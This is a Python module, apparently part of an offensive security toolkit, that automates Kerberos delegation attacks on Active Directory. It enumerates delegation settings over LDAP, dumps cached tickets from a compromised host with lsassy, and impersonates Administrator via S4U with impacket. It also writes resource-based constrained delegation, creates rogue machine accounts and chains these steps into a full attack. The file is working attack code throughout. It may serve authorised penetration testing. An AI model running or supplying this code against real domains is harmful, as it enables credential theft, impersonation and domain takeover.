"""
AIPTX Active Directory Delegation Attacks

Kerberos delegation abuse techniques:
- Unconstrained Delegation: Capture TGTs
- Constrained Delegation: S4U2Self + S4U2Proxy
- Resource-Based Constrained Delegation (RBCD): Configure and abuse
- Protocol Transition: Any auth to Kerberos
"""
from __future__ import annotations

import asyncio
import base64
import logging
import os
import re
from dataclasses import dataclass, field
from datetime import datetime
from enum import Enum
from typing import Optional

logger = logging.getLogger(__name__)


class DelegationType(Enum):
    """Kerberos delegation types"""
    UNCONSTRAINED = "unconstrained"
    CONSTRAINED = "constrained"
    RBCD = "rbcd"  # Resource-Based Constrained Delegation
    PROTOCOL_TRANSITION = "protocol_transition"


class TicketType(Enum):
    """Kerberos ticket types"""
    TGT = "tgt"  # Ticket Granting Ticket
    TGS = "tgs"  # Ticket Granting Service ticket
    S4U = "s4u"  # S4U2Self/S4U2Proxy ticket


@dataclass
class KerberosTicket:
    """Extracted or forged Kerberos ticket"""
    ticket_type: TicketType
    username: str
    domain: str
    target_service: str = ""
    target_host: str = ""

    # Ticket data
    ticket_b64: str = ""  # Base64 encoded ticket
    ticket_file: str = ""  # Path to .ccache or .kirbi file

    # Metadata
    encryption_type: str = ""  # aes256, rc4, etc.
    valid_until: Optional[datetime] = None
    forged: bool = False
    extraction_method: str = ""
    extracted_at: datetime = field(default_factory=datetime.utcnow)

    def to_dict(self) -> dict:
        return {
            "ticket_type": self.ticket_type.value,
            "username": self.username,
            "domain": self.domain,
            "target_service": self.target_service,
            "target_host": self.target_host,
            "encryption_type": self.encryption_type,
            "valid_until": self.valid_until.isoformat() if self.valid_until else None,
            "forged": self.forged,
            "has_ticket_data": bool(self.ticket_b64 or self.ticket_file),
        }


@dataclass
class DelegationTarget:
    """Target with delegation configured"""
    hostname: str
    sam_account_name: str
    object_type: str  # computer, user
    delegation_type: DelegationType
    dn: str = ""
    sid: str = ""

    # Delegation details
    delegation_targets: list[str] = field(default_factory=list)  # For constrained
    allowed_to_delegate_to: list[str] = field(default_factory=list)
    allowed_to_act_on_behalf: list[str] = field(default_factory=list)  # For RBCD

    # Attack potential
    protocol_transition: bool = False  # Can use any authentication
    risk_score: int = 0
    attack_paths: list[str] = field(default_factory=list)

    def to_dict(self) -> dict:
        return {
            "hostname": self.hostname,
            "sam_account_name": self.sam_account_name,
            "object_type": self.object_type,
            "delegation_type": self.delegation_type.value,
            "delegation_targets": self.delegation_targets,
            "protocol_transition": self.protocol_transition,
            "risk_score": self.risk_score,
            "attack_paths": self.attack_paths,
        }


@dataclass
class ADDelegationConfig:
    """Delegation attack configuration"""
    # Authentication
    username: Optional[str] = None
    password: Optional[str] = None
    ntlm_hash: Optional[str] = None
    aes_key: Optional[str] = None
    domain: Optional[str] = None
    dc_ip: Optional[str] = None

    # Ticket options
    ticket_file: Optional[str] = None  # Existing .ccache file
    impersonate_user: str = "Administrator"  # User to impersonate

    # RBCD options
    rbcd_computer: Optional[str] = None  # Computer to add RBCD
    rbcd_sid: Optional[str] = None  # SID to allow

    # Timeouts
    timeout: float = 120.0


@dataclass
class ADDelegationResult:
    """Delegation attack results"""
    target: str
    attack_type: DelegationType
    success: bool = False

    # Results
    tickets: list[KerberosTicket] = field(default_factory=list)
    delegation_targets: list[DelegationTarget] = field(default_factory=list)

    # RBCD specific
    rbcd_configured: bool = False
    rbcd_target: str = ""

    # Metadata
    start_time: Optional[datetime] = None
    end_time: Optional[datetime] = None
    duration_seconds: float = 0.0
    errors: list[str] = field(default_factory=list)
    commands_executed: list[str] = field(default_factory=list)

    def to_dict(self) -> dict:
        return {
            "target": self.target,
            "attack_type": self.attack_type.value,
            "success": self.success,
            "tickets": [t.to_dict() for t in self.tickets],
            "delegation_targets": [d.to_dict() for d in self.delegation_targets],
            "rbcd_configured": self.rbcd_configured,
            "rbcd_target": self.rbcd_target,
            "duration_seconds": self.duration_seconds,
            "errors": self.errors,
        }


class ADDelegationAttacks:
    """
    Active Directory Delegation Attacks.

    Implements:
    - Unconstrained Delegation: Monitor for and extract TGTs
    - Constrained Delegation: S4U2Self and S4U2Proxy attacks
    - RBCD: Configure and exploit resource-based constrained delegation
    - Protocol Transition: Abuse protocol transition for any-auth-to-kerberos
    """

    def __init__(self, config: Optional[ADDelegationConfig] = None):
        self.config = config or ADDelegationConfig()

    # -------------------------------------------------------------------------
    # Enumeration
    # -------------------------------------------------------------------------

    async def enumerate_delegation(self, domain: str, dc_ip: str) -> list[DelegationTarget]:
        """
        Enumerate all delegation configurations in the domain.

        Args:
            domain: Domain name
            dc_ip: Domain controller IP

        Returns:
            List of DelegationTarget objects
        """
        targets = []

        try:
            from ldap3 import Server, Connection, SUBTREE, NTLM

            server = Server(dc_ip, port=389, connect_timeout=30)

            if self.config.username and self.config.password:
                user = f"{self.config.domain}\\{self.config.username}"
                conn = Connection(server, user=user, password=self.config.password, authentication=NTLM)
            else:
                conn = Connection(server)

            if not conn.bind():
                logger.error(f"LDAP bind failed: {conn.last_error}")
                return targets

            base_dn = ",".join(f"DC={part}" for part in domain.split("."))

            # Find unconstrained delegation
            unconstrained = await self._find_unconstrained(conn, base_dn)
            targets.extend(unconstrained)

            # Find constrained delegation
            constrained = await self._find_constrained(conn, base_dn)
            targets.extend(constrained)

            # Find RBCD configurations
            rbcd = await self._find_rbcd(conn, base_dn)
            targets.extend(rbcd)

            conn.unbind()

        except ImportError:
            logger.error("ldap3 not installed")
        except Exception as e:
            logger.error(f"Delegation enumeration failed: {e}")

        return targets

    async def _find_unconstrained(self, conn, base_dn: str) -> list[DelegationTarget]:
        """Find objects with unconstrained delegation"""
        targets = []

        # TRUSTED_FOR_DELEGATION flag (0x80000)
        search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

        conn.search(
            search_base=base_dn,
            search_filter=search_filter,
            search_scope="SUBTREE",
            attributes=["sAMAccountName", "distinguishedName", "objectClass", "dNSHostName"],
        )

        for entry in conn.entries:
            sam_name = str(entry.sAMAccountName)
            obj_class = entry.objectClass.values if hasattr(entry.objectClass, "values") else []
            obj_type = "computer" if "computer" in obj_class else "user"

            hostname = str(entry.dNSHostName) if hasattr(entry, "dNSHostName") else sam_name

            target = DelegationTarget(
                hostname=hostname,
                sam_account_name=sam_name,
                object_type=obj_type,
                delegation_type=DelegationType.UNCONSTRAINED,
                dn=str(entry.distinguishedName),
                risk_score=80,
                attack_paths=[
                    "Compromise host -> Capture TGTs in memory",
                    "Coerce DC auth (PrinterBug/PetitPotam) -> Capture DC TGT -> DCSync",
                ],
            )
            targets.append(target)

        return targets

    async def _find_constrained(self, conn, base_dn: str) -> list[DelegationTarget]:
        """Find objects with constrained delegation"""
        targets = []

        # msDS-AllowedToDelegateTo attribute
        search_filter = "(msDS-AllowedToDelegateTo=*)"

        conn.search(
            search_base=base_dn,
            search_filter=search_filter,
            search_scope="SUBTREE",
            attributes=[
                "sAMAccountName", "distinguishedName", "objectClass",
                "msDS-AllowedToDelegateTo", "userAccountControl", "dNSHostName"
            ],
        )

        for entry in conn.entries:
            sam_name = str(entry.sAMAccountName)
            obj_class = entry.objectClass.values if hasattr(entry.objectClass, "values") else []
            obj_type = "computer" if "computer" in obj_class else "user"
            hostname = str(entry.dNSHostName) if hasattr(entry, "dNSHostName") else sam_name

            delegation_targets = []
            if hasattr(entry, "msDS-AllowedToDelegateTo"):
                attr = entry["msDS-AllowedToDelegateTo"]
                delegation_targets = list(attr.values) if hasattr(attr, "values") else [str(attr)]

            # Check for protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION)
            uac = 0
            if hasattr(entry, "userAccountControl"):
                uac = int(str(entry.userAccountControl))
            protocol_transition = bool(uac & 0x1000000)

            target = DelegationTarget(
                hostname=hostname,
                sam_account_name=sam_name,
                object_type=obj_type,
                delegation_type=DelegationType.CONSTRAINED,
                dn=str(entry.distinguishedName),
                delegation_targets=delegation_targets,
                allowed_to_delegate_to=delegation_targets,
                protocol_transition=protocol_transition,
                risk_score=60 if protocol_transition else 40,
                attack_paths=[
                    f"Compromise {sam_name} -> S4U2Self (get ticket as any user) -> S4U2Proxy (access {delegation_targets})",
                ],
            )
            targets.append(target)

        return targets

    async def _find_rbcd(self, conn, base_dn: str) -> list[DelegationTarget]:
        """Find objects with RBCD configured"""
        targets = []

        # msDS-AllowedToActOnBehalfOfOtherIdentity attribute
        search_filter = "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)"

        conn.search(
            search_base=base_dn,
            search_filter=search_filter,
            search_scope="SUBTREE",
            attributes=[
                "sAMAccountName", "distinguishedName", "objectClass",
                "msDS-AllowedToActOnBehalfOfOtherIdentity", "dNSHostName"
            ],
        )

        for entry in conn.entries:
            sam_name = str(entry.sAMAccountName)
            obj_class = entry.objectClass.values if hasattr(entry.objectClass, "values") else []
            obj_type = "computer" if "computer" in obj_class else "user"
            hostname = str(entry.dNSHostName) if hasattr(entry, "dNSHostName") else sam_name

            target = DelegationTarget(
                hostname=hostname,
                sam_account_name=sam_name,
                object_type=obj_type,
                delegation_type=DelegationType.RBCD,
                dn=str(entry.distinguishedName),
                risk_score=50,
                attack_paths=[
                    "Object already has RBCD configured - check who can impersonate",
                    "May indicate prior compromise or misconfiguration",
                ],
            )
            targets.append(target)

        return targets

    # -------------------------------------------------------------------------
    # Unconstrained Delegation Attacks
    # -------------------------------------------------------------------------

    async def extract_cached_tickets(self, target_ip: str) -> ADDelegationResult:
        """
        Extract cached TGTs from a compromised unconstrained delegation host.

        Requires: Local admin on the target

        Args:
            target_ip: Compromised host with unconstrained delegation

        Returns:
            ADDelegationResult with extracted tickets
        """
        result = ADDelegationResult(
            target=target_ip,
            attack_type=DelegationType.UNCONSTRAINED,
        )
        result.start_time = datetime.utcnow()

        try:
            # Use Rubeus or mimikatz to extract tickets
            # Try lsassy first as it's Python-based
            tickets = await self._extract_tickets_lsassy(target_ip)
            result.tickets.extend(tickets)

            if tickets:
                result.success = True

        except Exception as e:
            logger.error(f"Ticket extraction failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        return result

    async def _extract_tickets_lsassy(self, target_ip: str) -> list[KerberosTicket]:
        """Extract tickets using lsassy"""
        tickets = []

        try:
            cmd = ["lsassy", "-K"]  # -K to extract Kerberos tickets

            if self.config.username and self.config.password:
                cmd.extend(["-u", self.config.username, "-p", self.config.password])
                if self.config.domain:
                    cmd.extend(["-d", self.config.domain])
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend(["-u", self.config.username, "-H", self.config.ntlm_hash])
                if self.config.domain:
                    cmd.extend(["-d", self.config.domain])

            cmd.append(target_ip)

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode()

            # Parse ticket output
            # lsassy outputs tickets in kirbi format or shows ticket info
            for line in output.split("\n"):
                if "TGT" in line or "ticket" in line.lower():
                    # Extract ticket info
                    ticket = KerberosTicket(
                        ticket_type=TicketType.TGT,
                        username="unknown",
                        domain=self.config.domain or "",
                        extraction_method="lsassy",
                    )
                    tickets.append(ticket)

        except FileNotFoundError:
            logger.error("lsassy not found")
        except Exception as e:
            logger.error(f"lsassy ticket extraction failed: {e}")

        return tickets

    # -------------------------------------------------------------------------
    # Constrained Delegation Attacks
    # -------------------------------------------------------------------------

    async def s4u_attack(
        self,
        target_spn: str,
        impersonate_user: str = "Administrator",
    ) -> ADDelegationResult:
        """
        Perform S4U2Self + S4U2Proxy attack for constrained delegation.

        Requires: Credentials for account with constrained delegation

        Args:
            target_spn: Target service SPN (e.g., cifs/dc.domain.com)
            impersonate_user: User to impersonate

        Returns:
            ADDelegationResult with service ticket
        """
        result = ADDelegationResult(
            target=target_spn,
            attack_type=DelegationType.CONSTRAINED,
        )
        result.start_time = datetime.utcnow()

        try:
            # Use getST.py from impacket
            ticket = await self._get_st_impacket(target_spn, impersonate_user)
            if ticket:
                result.tickets.append(ticket)
                result.success = True

        except Exception as e:
            logger.error(f"S4U attack failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        return result

    async def _get_st_impacket(self, target_spn: str, impersonate_user: str) -> Optional[KerberosTicket]:
        """Use impacket getST.py for S4U attack"""
        try:
            import tempfile
            ccache_file = tempfile.mktemp(suffix=".ccache")

            cmd = ["getST.py"]

            # Authentication
            if self.config.username and self.config.password:
                cmd.append(f"{self.config.domain}/{self.config.username}:{self.config.password}")
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    f"{self.config.domain}/{self.config.username}",
                    "-hashes", f":{self.config.ntlm_hash}"
                ])
            elif self.config.username and self.config.aes_key:
                cmd.extend([
                    f"{self.config.domain}/{self.config.username}",
                    "-aesKey", self.config.aes_key
                ])
            else:
                raise ValueError("Credentials required for S4U attack")

            cmd.extend([
                "-spn", target_spn,
                "-impersonate", impersonate_user,
                "-dc-ip", self.config.dc_ip or "",
            ])

            # Set KRB5CCNAME for output
            env = os.environ.copy()
            env["KRB5CCNAME"] = ccache_file

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE,
                env=env
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()

            if "Saving ticket" in output or os.path.exists(ccache_file):
                return KerberosTicket(
                    ticket_type=TicketType.TGS,
                    username=impersonate_user,
                    domain=self.config.domain or "",
                    target_service=target_spn,
                    ticket_file=ccache_file,
                    extraction_method="s4u_getST",
                )

            logger.error(f"getST.py output: {output}")
            return None

        except FileNotFoundError:
            logger.error("getST.py not found. Install impacket.")
            return None
        except Exception as e:
            logger.error(f"getST.py failed: {e}")
            return None

    # -------------------------------------------------------------------------
    # Resource-Based Constrained Delegation (RBCD)
    # -------------------------------------------------------------------------

    async def configure_rbcd(
        self,
        target_computer: str,
        attacker_sid: str,
    ) -> ADDelegationResult:
        """
        Configure RBCD on target computer.

        Requires: Write access to target computer's msDS-AllowedToActOnBehalfOfOtherIdentity

        Args:
            target_computer: Computer to configure RBCD on
            attacker_sid: SID of attacker-controlled account

        Returns:
            ADDelegationResult indicating success
        """
        result = ADDelegationResult(
            target=target_computer,
            attack_type=DelegationType.RBCD,
        )
        result.start_time = datetime.utcnow()

        try:
            success = await self._configure_rbcd_impacket(target_computer, attacker_sid)
            result.success = success
            result.rbcd_configured = success
            result.rbcd_target = target_computer

        except Exception as e:
            logger.error(f"RBCD configuration failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        return result

    async def _configure_rbcd_impacket(self, target_computer: str, attacker_sid: str) -> bool:
        """Configure RBCD using rbcd.py"""
        try:
            cmd = ["rbcd.py"]

            # Authentication
            if self.config.username and self.config.password:
                cmd.append(f"{self.config.domain}/{self.config.username}:{self.config.password}")
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    f"{self.config.domain}/{self.config.username}",
                    "-hashes", f":{self.config.ntlm_hash}"
                ])

            cmd.extend([
                "-delegate-to", target_computer,
                "-delegate-from", attacker_sid,
                "-action", "write",
                "-dc-ip", self.config.dc_ip or "",
            ])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()
            return "success" in output.lower() or "modified" in output.lower()

        except FileNotFoundError:
            logger.error("rbcd.py not found")
            return False
        except Exception as e:
            logger.error(f"rbcd.py failed: {e}")
            return False

    async def exploit_rbcd(
        self,
        target_computer: str,
        impersonate_user: str = "Administrator",
    ) -> ADDelegationResult:
        """
        Exploit RBCD to get service ticket.

        Requires: RBCD already configured, credentials for allowed account

        Args:
            target_computer: Target with RBCD configured
            impersonate_user: User to impersonate

        Returns:
            ADDelegationResult with service ticket
        """
        result = ADDelegationResult(
            target=target_computer,
            attack_type=DelegationType.RBCD,
        )
        result.start_time = datetime.utcnow()

        try:
            # S4U attack against the target
            target_spn = f"cifs/{target_computer}"
            ticket = await self._get_st_impacket(target_spn, impersonate_user)

            if ticket:
                result.tickets.append(ticket)
                result.success = True

        except Exception as e:
            logger.error(f"RBCD exploitation failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        return result

    async def cleanup_rbcd(self, target_computer: str) -> bool:
        """
        Remove RBCD configuration from target.

        Args:
            target_computer: Computer to cleanup

        Returns:
            True if successful
        """
        try:
            cmd = ["rbcd.py"]

            if self.config.username and self.config.password:
                cmd.append(f"{self.config.domain}/{self.config.username}:{self.config.password}")
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    f"{self.config.domain}/{self.config.username}",
                    "-hashes", f":{self.config.ntlm_hash}"
                ])

            cmd.extend([
                "-delegate-to", target_computer,
                "-action", "flush",  # Remove all RBCD
                "-dc-ip", self.config.dc_ip or "",
            ])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()
            return "success" in output.lower() or "cleared" in output.lower()

        except Exception as e:
            logger.error(f"RBCD cleanup failed: {e}")
            return False

    # -------------------------------------------------------------------------
    # Full RBCD Attack Chain
    # -------------------------------------------------------------------------

    async def full_rbcd_attack(
        self,
        target_computer: str,
        impersonate_user: str = "Administrator",
        create_machine_account: bool = True,
    ) -> ADDelegationResult:
        """
        Perform full RBCD attack chain.

        1. Create machine account (if needed)
        2. Configure RBCD on target
        3. Request service ticket as impersonated user
        4. Optionally cleanup

        Args:
            target_computer: Target to attack
            impersonate_user: User to impersonate
            create_machine_account: Create new machine account

        Returns:
            ADDelegationResult with full attack results
        """
        result = ADDelegationResult(
            target=target_computer,
            attack_type=DelegationType.RBCD,
        )
        result.start_time = datetime.utcnow()

        try:
            machine_account = None
            machine_password = None

            # Step 1: Create machine account if needed
            if create_machine_account:
                machine_account, machine_password = await self._create_machine_account()
                if not machine_account:
                    result.errors.append("Failed to create machine account")
                    return result

                result.commands_executed.append(f"Created machine account: {machine_account}")

            # Step 2: Get SID of our machine account
            attacker_sid = await self._get_object_sid(machine_account or self.config.username)
            if not attacker_sid:
                result.errors.append("Failed to get attacker SID")
                return result

            # Step 3: Configure RBCD
            rbcd_result = await self.configure_rbcd(target_computer, attacker_sid)
            if not rbcd_result.success:
                result.errors.extend(rbcd_result.errors)
                return result

            result.rbcd_configured = True
            result.commands_executed.append(f"Configured RBCD: {attacker_sid} -> {target_computer}")

            # Step 4: Use machine account creds to request ticket
            original_config = self.config
            if machine_account and machine_password:
                self.config = ADDelegationConfig(
                    username=machine_account,
                    password=machine_password,
                    domain=self.config.domain,
                    dc_ip=self.config.dc_ip,
                )

            # Step 5: S4U attack
            s4u_result = await self.exploit_rbcd(target_computer, impersonate_user)
            result.tickets.extend(s4u_result.tickets)
            result.success = s4u_result.success

            # Restore config
            self.config = original_config

        except Exception as e:
            logger.error(f"Full RBCD attack failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        return result

    async def _create_machine_account(self) -> tuple[Optional[str], Optional[str]]:
        """Create a machine account for RBCD attack"""
        try:
            import secrets
            import string

            # Generate random machine name and password
            machine_name = "DESKTOP-" + "".join(secrets.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + "$"
            machine_password = secrets.token_urlsafe(16)

            cmd = ["addcomputer.py"]

            if self.config.username and self.config.password:
                cmd.append(f"{self.config.domain}/{self.config.username}:{self.config.password}")
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    f"{self.config.domain}/{self.config.username}",
                    "-hashes", f":{self.config.ntlm_hash}"
                ])

            cmd.extend([
                "-computer-name", machine_name.rstrip("$"),
                "-computer-pass", machine_password,
                "-dc-ip", self.config.dc_ip or "",
            ])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()

            if "success" in output.lower() or "added" in output.lower():
                return machine_name, machine_password

            logger.error(f"Machine account creation failed: {output}")
            return None, None

        except FileNotFoundError:
            logger.error("addcomputer.py not found")
            return None, None
        except Exception as e:
            logger.error(f"Machine account creation failed: {e}")
            return None, None

    async def _get_object_sid(self, sam_account_name: str) -> Optional[str]:
        """Get SID of an object by sAMAccountName"""
        try:
            from ldap3 import Server, Connection, SUBTREE, NTLM

            server = Server(self.config.dc_ip, port=389, connect_timeout=30)
            user = f"{self.config.domain}\\{self.config.username}"
            conn = Connection(server, user=user, password=self.config.password, authentication=NTLM)

            if not conn.bind():
                return None

            base_dn = ",".join(f"DC={part}" for part in self.config.domain.split("."))
            search_filter = f"(sAMAccountName={sam_account_name})"

            conn.search(
                search_base=base_dn,
                search_filter=search_filter,
                search_scope=SUBTREE,
                attributes=["objectSid"],
            )

            if conn.entries:
                return str(conn.entries[0].objectSid)

            conn.unbind()
            return None

        except Exception as e:
            logger.error(f"SID lookup failed: {e}")
            return None


# Convenience functions
async def enumerate_delegation(
    domain: str,
    dc_ip: str,
    username: str,
    password: Optional[str] = None,
    ntlm_hash: Optional[str] = None,
) -> list[DelegationTarget]:
    """
    Enumerate all delegation configurations.

    Args:
        domain: Domain name
        dc_ip: DC IP
        username: Username
        password: Password
        ntlm_hash: NTLM hash

    Returns:
        List of delegation targets
    """
    config = ADDelegationConfig(
        username=username,
        password=password,
        ntlm_hash=ntlm_hash,
        domain=domain,
        dc_ip=dc_ip,
    )
    attacker = ADDelegationAttacks(config)
    return await attacker.enumerate_delegation(domain, dc_ip)


async def s4u_attack(
    target_spn: str,
    impersonate_user: str,
    username: str,
    password: Optional[str] = None,
    ntlm_hash: Optional[str] = None,
    domain: Optional[str] = None,
    dc_ip: Optional[str] = None,
) -> ADDelegationResult:
    """
    Perform S4U constrained delegation attack.

    Args:
        target_spn: Target SPN
        impersonate_user: User to impersonate
        username: Account with delegation
        password: Password
        ntlm_hash: NTLM hash
        domain: Domain
        dc_ip: DC IP

    Returns:
        ADDelegationResult
    """
    config = ADDelegationConfig(
        username=username,
        password=password,
        ntlm_hash=ntlm_hash,
        domain=domain,
        dc_ip=dc_ip,
    )
    attacker = ADDelegationAttacks(config)
    return await attacker.s4u_attack(target_spn, impersonate_user)
